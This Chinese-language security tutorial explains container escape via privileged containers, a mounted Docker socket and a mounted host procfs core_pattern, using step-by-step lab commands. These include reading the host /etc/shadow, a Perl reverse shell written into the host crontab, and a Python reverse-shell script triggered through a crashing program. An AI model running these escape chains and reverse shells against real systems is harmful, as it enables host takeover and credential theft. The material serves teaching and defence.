容器运行时的安全风险
运行时的容器可能发生的攻击形式数不胜数,然而归根结底,所有攻击影响的还是业务系统的机密性、完整性和可用性(CIA三要素)。从这个角度出发,我们可以将攻击做以下的分类:
- 主要影响机密性、完整性的,通常是获取目标系统控制权、窃取或修改数据等
- 主要影响可用性的,通常是对目标系统信息资源的耗尽型攻击
基于上述分类,我们将介绍两种非常典型的攻击方式:容器及安全容器逃逸、从容器发起的资源耗尽型攻击
容器逃逸
以其他虚拟化技术类似,逃逸是最为严重的安全风险,直接危害了底层宿主机和整个云计算系统的安全,“容器逃逸”是指攻击者通过劫持容器业务化逻辑或直接控制(CaaS等合法获得容器控制权的场景)等方式,已经获得了容器内某种权限下的命令执行能力,攻击者利用这种执行能力,借助一些手段进而获得该容器所在的直接宿主机某种权限下的命令执行能力。一些特殊的漏洞利用方式,如软件供应链阶段能够触发漏洞的恶意镜像、在容器内构造恶意符号链接、在容器内劫持动态链接库等,其本质上还是攻击者获得了容器内某种权限下执行命令的能力。
如果容器挂载了宿主机的某些文件或目录,将挂载列表与用于建立后门而写入shell的文件、目录列表交集,是不是就可以得到容器逃逸的新途径呢?
不安全配置导致的容器逃逸
在这些年的迭代中,容器社区一直在努力将纵深防御、最小权限等理念和原则落地,列如,Docker 已经将容器运行时的 Capabililttes 黑名单机制改为如今的默认禁止所有Capabililttes,再以白名单方式赋予容器内运行时所需的最小权限。截至目前为止,Docker 默认赋予容器近40项权限的中的14项:
func DefaultCapabilities() []string {return []string{"CAP_CHOWN","CAP_DAC_OVERRIDE","CAP_FSETID","CAP_FOWNER","CAP_MKNOD","CAP_NET_RAW","CAP_SETGID","CAP_SETUID","CAP_SETFCAP","CAP_SETPCAP","CAP_NET_BIND_SERVICE","CAP_SYS_CHROOT","CAP_KILL","CAP_AUDIT_WRITE",}
}
然而,无论是细粒度权限控制还是其他安全机制,用户都可以通过修改容器环境配置或在运行时指定参数来调整约束,但如果用户为容器设置了某些危险的配置参数,就为攻击者提供了一定程度逃逸的可能性
–privileged:特权模式运行容器
最初,容器特权模式的出现是为了帮助开发者实现 Docker-in-Docker 特性。然而,在特权模式下运行的不完全受控制容器将给宿主机带来极大的安全威胁,当操作者执行 docker run --privileged时,Docker 将允许容器访问宿主机上的所有设备,同时修改 AppArmor 或 SELinux 的配置,使容器拥有与直接运行在宿主机上的进程拥有几乎相同的访问权限
如图,我们以特权模式和非特权模式创建了两个容器,其中特权容器内部可以看到宿主机上的设备
#以特权模式创建一个容器
docker run --rm --privileged=true -it alpine
#以非特权模式创建一个容器
docker run --rm -it alpine
#查看当前所运行的容器
docker ps
在这样的场景下,从容器中逃逸出去易如反掌,手段也是非常多的,列如,攻击者可以直接在容器内部挂载宿主机磁盘:
#挂载磁盘
docker exec 82766e907721 fdisk -l
docker exec 69946fbdc420 fdisk -l | tail -n 2
在容器内部执行下面的命令,从而判断容器是不是特权模式,如果是以特权模式启动的话,CapEff 对应的掩码值应该为0000003fffffffff 或者是 0000001fffffffff
cat /proc/self/status | grep CapEff
如图·可以看到以特权模式和非特权模式运行的容器CapEff 对应的掩码值的区别
现在我们以特权模式启动一个容器
#以特权模式启动一个容器
docker run --rm --privileged=true -it alpine
然后直接在容器内部挂载宿主机磁盘
#挂载宿主机磁盘
fdisk -l
然后将目录切换出去,在容器内部执行以下命令,创建一个host 目录,将宿主机文件挂载到 /host 目录下
#创建目录
mkdir /host
#将宿主机文件挂载到 /host 目录下
mount /dev/sda1 /host
现在我们可以在容器内部执行以下的命令,尝试访问宿主机 shadow 文件,可以看到正常访问
cat /host/etc/shadow
同样的情况下,也可以在定时任务中写入反弹 shell,这里的定时任务路径是 Ubuntu 系统路径,不同的系统定时任务路径不一样
我们这里开启监听
nc -lvvp 4444
然后在容器内执行命令,在定时任务中写入反弹 shell
echo $'*/1 * * * * perl -e \'use Socket;$i="192.168.41.138";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};\'' >> /host/etc/crontab
一分钟后,我们就能收到反弹回来的会话了,而且会话权限是宿主机 root 用户权限
到此为止,攻击者已经基本从容器内部逃逸出来了,这里说基本,是因为仅仅挂载了宿主机的根目录,如果用ps命令查看的话,可以看到还是容器内部的进程,因为没有挂载宿主机的 procfs
不安全挂载导致的容器逃逸
为了方便宿主机与虚拟机进行数据交换,几乎所有主流虚拟机解决方案都会提供宿主机目录到虚拟机的功能。容器同样如此,然而将宿主机上的敏感文件或目录挂载到容器内部——尤其是那些不完全受控的容器内部,往往会带来安全问题
尽管如此,在某些特定场景下,为了实现特定功能或者方便操作(列如为了在容器内对容器进行管理,将Docker Socket 挂载到容器内),人们还是选择将外部敏感卷挂载入容器。随着容器技术应用的逐渐深化,挂载操作变得瑜伽广泛,由此而来的安全问题也呈现上升趋势
挂载 Docker Socket 逃逸容器
Docker Socket 是 Docker 守护进程监听的 UNIX 域套接字,用来与守护进程通信——查询信息或下发命令。如果攻击者可控的容器内挂载了该套接字文件(/var/run/docker。sock),容器逃逸就相当容易了
挂载Docker Socket 逃逸容器的步骤如下:
- 首先创建一个容器内挂载 /var/run/docker.sock 文件
- 在该容器内部安装 Docker 命令行客户端
- 接着使用该客户端通过 Docker Socket 与 Docker 守护进程通信,发送命令创建并运行一个新的容器,将宿主机的根目录挂载到新创建的容器内部
- 在新容器内执行chroot,将根目录切换到挂载的宿主及根目录
创建一个容器并挂载 /var/run/docker/sock 文件
docker run -itd --name with_docker_sock -v /var/run/docker.sock:/var/run/docker.sock ubuntu
然后我们执行以下命令进入容器
#列出当前运行容器的进程
docker ps
#进入容器
docker exec -it 6ea2a95dc78d /bin/bash
检测当前容器是否存在这个漏洞,如果存在这个文件,说明漏洞可能存在
ls -lah /var/run/docker.sock
在容器内安装 Docker 命令行客户端
apt-get update
apt-get install curl
curl -fsSL https://get.docker.com/ | sh
在容器内部创建一个新的容器,并将宿主机目录挂载到新的容器内部
docker run -it -v /:/host ubuntu /bin/bash
ls /host
由上图可见,已经将宿主机根目录挂载到容器内部,通过读取或者改写敏感文件可以实现逃逸
如图可以查看宿主机的敏感文件
cat /etc/shadow
当然进一步也能通过写入定时任务反弹shell,这一步的步骤跟之前在 --privileged:特权模式运行容器中讲解的反弹shell的步骤几乎一样
与不安全的配置导致的逃逸的问题类似,攻击者已经基本容器内逃逸出来了,我们说“基本”,是因为仅仅挂载了宿主及的根目录,如果用 ps 查看进程的话,看到的还是容器内的进程,因为没有挂载到宿主机的 procfs
挂载宿主机 procfs 逃逸容器
对于熟悉Linux 和云计算的朋友来说,procfs 绝对不是一个陌生的概念。 procfs是一个伪文件系统,它动态反映着系统内进程及其组件的状态,其中有许多非常敏感、重要的文件。因此,将宿主机的procfs 挂载到不受控制的容器也是十分危险的,尤其是在该容器内默认启用 root 权限,且没有开启 User Namespace 时(目前为止,Docker 默认情况下没有为容器开启 User Namespace)
一般来说,我们不会将宿主机的procfs 挂载到容器中,但是有些业务为了实现某些特殊需要,还是会将文件系统挂载进来
现在我们创建一个容器并挂载 /proc 目录
docker run -it -v /proc/sys/kernel/core_pattern:/host/proc/sys/kernel/core_pattern ubuntu
如果找到两个 core_pattern 文件,那可能就是挂载了宿主机的 procfs
find / -name core_pattern
现在我们需要输入以下的命令找到当前容器在宿主机下的绝对路径
cat /proc/mounts | xargs -d ',' -n 1 | grep workdir
这就表示当前绝对路径为
/var/lib/docker/overlay2/d7e3a634bcaa586c5eba9fd5e38bc42da7cc6e0a4e0c174695004db5b7261023/merged
接下来我们要安装 vim 和 gcc
apt-get update -y && apt-get install vim gcc -y
接下来我们创建一个反弹 Shell 的 py 脚本
vim /tmp/.t.py
脚本的内容如下,lhost 换成监听攻击机的IP
#!/usr/bin/python3
import os
import pty
import socket
lhost = "192.168.41.132"
lport = 4444
def main():s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)s.connect((lhost, lport))os.dup2(s.fileno(), 0)os.dup2(s.fileno(), 1)os.dup2(s.fileno(), 2)os.putenv("HISTFILE", '/dev/null')pty.spawn("/bin/bash")# os.remove('/tmp/.t.py')s.close()
if __name__ == "__main__":main()
给 Shell 赋予执行权限
chmod 777 /tmp.t.py
写入反弹 shell 到目标的 proc 目录下
echo -e "|/var/lib/docker/overlay2/d7e3a634bcaa586c5eba9fd5e38bc42da7cc6e0a4e0c174695004db5b7261023/merged/tmp/.t.py \rcore " > /host/proc/sys/kernel/core_pattern
在攻击主机上192.168.41.132 开启一个监听
nc -lvvp 4444
然后在容器里编辑一个可以崩溃的程序
vim t.c
程序内容如下
#include<stdio.h>
int main(void) {int *a = NULL;*a = 1;return 0;
}
然后编译程序
gcc t.c -o t
运行该崩溃程序
./t
然后我们可以看到攻击机收到反弹的shell,逃逸成功